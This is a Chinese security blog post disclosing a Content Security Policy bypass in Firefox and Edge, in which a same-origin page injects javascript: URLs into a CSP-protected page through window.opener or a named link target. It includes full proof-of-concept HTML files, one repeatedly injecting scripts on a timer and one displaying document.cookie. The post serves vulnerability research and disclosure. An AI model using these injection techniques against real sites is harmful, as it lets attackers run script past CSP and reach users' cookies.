Firefox与Edge的dom策略导致的csp bypass问题

 

在2018年对csp研究过一阵,发现可以通过其他的dom向存在CSP的dom注入javascript协议,来达到绕过CSP的安全防护。

众所周知,CSP(内容安全策略)有两种方法来设置,一种是通过浏览器器响应头,如下:

Content-Security-Policy:sc-src 'self' https://apis.google.com

还有一种就是通过<meta>标签进行设置,如下:

<meta http-equiv="Content-Security-Policy" content="sc-src 'none'">

我发现这存在一个问题,如果某页面设置了CSP,而同源下其他页面不做CSP防御的话,黑客可以利用opener和target对象来对存在CSP的页面做一个攻击。不了解这两个对象的同学可以参考p牛的target攻击的介绍以及我在17年投稿的那边文章。

回到正题,以opener为例,为此我们创建两个攻击文件,go.html与attack.html

<html>
<head>
  <title>CSP Test</title>
  <meta http-equiv="Content-Security-Policy" content="script-src 'none'">
</head>
<body>
<a href="./attack.html" target="_Blank">csp_let's_go</a>
<script>alert(location.href);</script>
</body>
</html>
<html>
 <head>
  <title> csp go</title>
 </head>
 <body>
  <script>parent.window.opener.location = "javascript:alert(location.href);"</script>
 </body>
</html>

把两个文件放在一个目录下,你会发现,go.html因为设置了CSP,他的JS代码不能允许。但是如果在Firefox中点击了csp_let’s_go,JS就会执行,那是因为Firefox对该对象没有做防护。

而这在Chrome、Edge、Safiri中是不被允许的

就是这样,通过同源策略允许注入js,绕过了CSP的限制,同样的可以利用target来进行,这将分为两个html文件,go.html与target.html

<html>
<head><meta charset="utf-8"></head>
<body>
<a href="./target.html" target="baidu" id="baidu" onclick="return start()">click me</a>

<script>
function start() {
    setInterval(function() {
        baidu.href="javascript:alert(location.href);";
        baidu.click();
    }, 5000);
}
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
  <title>CSP Test</title>
  <meta http-equiv="Content-Security-Policy" content="script-src 'none'">
</head>
<body>
csp bypass
</body>
</html>

同样的,这可以绕过火狐的CSP策略

对于这两个漏洞火狐给予了确定,火狐的回复是:

On the one hand this is injecting a javascript URL into the other document, which ought to be blocked. On the other hand it’s hard to get too excited because parent.window.opener.alert(location.href) would be perfectly valid — the script is being run by a context that allows it, manipulating a DOM it’s allowed to by the same-origin policy.

Edge Bug导致存在同样的问题

发现这个问题是由于在Edge测试如上代码的时候我发现我的系统资源CPU和内存被Edge占用了很高,于是我打开了调试台,看到了如下情况。

go.html一直向target.html抛出javascript协议,但是target因为CSP策略不断拒绝,go.html就会将被拒绝的请求重新请求一次,在加上时间函数累加上的请求,这里成指数增长,导致了系统资源被耗尽。

在这种情况下对页面进行刷新,可以绕过CSP:

当然这种情况下要用户主动去刷新页面或者对DOM进行操作,我们可以模拟刷新来看到这个Bug:

<!DOCTYPE html>
<html>
<head>
  <title>CSP Test</title>
  <meta http-equiv="Content-Security-Policy" content="script-src 'none'">
</head>
<body>
<a href="./attack.html" target="_Blank">csp_let's_go</a>
<script>alert(document.cookie);</script>
<meta http-equiv="Refresh" content="1" />
</body>
</html>
<html>
 <head>
  <title> csp go</title>
 </head>
 <body>
  <script>
 setInterval(function() {
        parent.window.opener.location = "javascript:alert(location.href);";
    }, 1);
 setInterval(function() {
        parent.window.opener.location = "javascript:alert(location.href);";
    }, 1);
 setInterval(function() {
        parent.window.opener.location = "javascript:alert(location.href);";
    }, 1);
 setInterval(function() {
        parent.window.opener.location = "javascript:alert(location.href);";
    }, 1);
</script>
 </body>
</html>

我们可以多增加几个线程来验证该问题。

由此可以猜测Edge为了性能,确定了域是同源策略所允许的情况下,不等网页加载出来就执行了js语句,当然这在大多数情况下不会发生,但是由于前面的bug导致了累积过多要执行的线程,导致了问题的触发,这种情况下的攻击非常片面,虽然不一定要用户刷新,但是也要用户点击进入具体的页面才行。在确定问题后将问题上报给msrc,微软已经对控制台这个消耗资源的问题进行了定时清理,虽然这个问题依旧存在,但是攻击面十分狭窄,可以忽略不计。

(完)